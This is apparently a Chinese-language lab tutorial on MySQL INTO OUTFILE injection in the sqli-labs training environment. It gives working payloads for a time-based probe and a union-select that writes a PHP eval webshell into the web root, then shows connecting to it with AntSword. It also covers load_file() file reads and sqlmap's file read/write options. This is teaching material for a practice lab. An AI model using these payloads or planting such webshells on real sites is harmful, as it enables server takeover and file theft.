OUTFILE注入
在前面的学习中,我们知道了sql注入中的盲注和双注入是个什么鬼。今天,我门又解锁了一个新的姿势----outfile。
那么outfile是干什么的呢?
简单讲就是将一句话木马通过outfile传入网站目录,然后连上去;然后你就能为所欲为了(理想情况下)。
实战
1. 关卡分析
首先进入我们的sqli-labs
,看一下这一关。
和往常一样,提示你用id
传入一个参数。我们首先要猜出id
的类型。
这里我们采用布尔盲注的时间注入来确定id
类型。下面是猜解语句:
?id=1')) and sleep(5) --+
当我们用这个构造的语句去访问数据库的时候,发现网页的返回有5s的延迟。
因此能够确定id
是如此包裹的:(('id'))
。
接着我们先采用布尔注入的方式看一下,发现true会返回You are in.... Use outfile......
的页面,提示你使用outfile
;如果是false的话则返回You have an error in your SQL syntax
的页面。没有报错信息显示。但是我们依然可以使用order by num
猜出他的字段为3。
因此这道题应该也可以使用布尔盲注解决,强制执行你想要的判断语句,然后根据页面的返回结果可以知道判断语句的正确与否。关于布尔盲注的思路,上一节有讲到,因为思路基本一样,这里就不再多说。
2. 过关斩将
好了直奔重点,来到今天的outfile主题。
在进行outfile注入之前,还是要先补充几个知识点:
2.1 secure_file_priv
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:
- into outfile :将文本写入目标网站
- into dumpfile
- load_file : 读出目标网站中指定目录下的文件。
因为涉及到在别人的服务器执行写入的操作,因此这里会有一个参数secure_file_priv
会限制以上三个函数的作用。
secure_file_priv
有3中情况:
- 空,表示对导入导出无限制。
- 有指定目录(secure-file-priv=“xxx/xxx/xxx”): 只能向指定目录导入或导出。
- null, 禁止导入导出。
因此我们在使用outfile注入的时候,首先要知道参数secure_file_priv
是否有指定的目录。我们只能将webshell写入到指定目录下面。同时,执行读写的权限很重要,一般都要是root。
2.2 注入过程
在上面我们已经知道了id
的类型。那么下面我们就可以开始outfile
注入了。
-
我先告诉大家,如何看自己数据库的
secure_file_priv
值,以及更改这个值。首先连接mysql,然后输入
select @@secure_file_priv;
可以看到我这里的是空,也就是允许导入在任何目录下。
那么如果你的不是,或者是null的话,你可以打开你mysql安装目录下的(默认安装路径是C:\ProgramData\MySQL
)my.ini
文件,然后找到secure-file-priv
把这个改一下就好了,看以看到我这个也是自己后来改的。 -
注入网站
说先要知道网站的secure_file_priv
值。这个还是要用布尔盲注才出来。首先猜长度:
?id=1')) and length(@@secure_file_priv)=0 --+
因为我这里设置为空,所以长度为0就是正解。如果你们不是的话,就先求长度,然后用ascii()+substr()求每一个字母,最后得出指定路径。然后进行注入,
?id=1')) union select 1,2, "<?php @eval($_POST[python]);?>" into outfile "F:/phpstudy/PHPTutorial/WWW/test.php" --+
注意:这里的目录我们要用斜杠/
,因为windwos路径默认使用的是反斜杠\
,但是这里如果使用反斜杠注入会无效。
在这里,我们将一句话木马插入到了我自己apache的www目录下。
打开目录发现确实存在。然后我们用蚁剑进行连接。
可以看到成功的拿到了网站的目录。
load_file的使用
load_file()用来读取目标网站中的文件信息。
比如:
我们F盘下有一个文件1.txt
我们可以:(这里使用的是less-1的网页)
?id=-1' union select 1, load_file("F:\\1.txt"), 3 --+
将目标文件的数据读出来。
SQLmap
SQLmap关于文件操作有三个参数。
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to
--file-read xxx
读取服务器某文件并保存到sqlmap目录中。
--file-write x1 --file-dest x2
将本地文件x1写入到目标服务器指定路径中的x2文件中。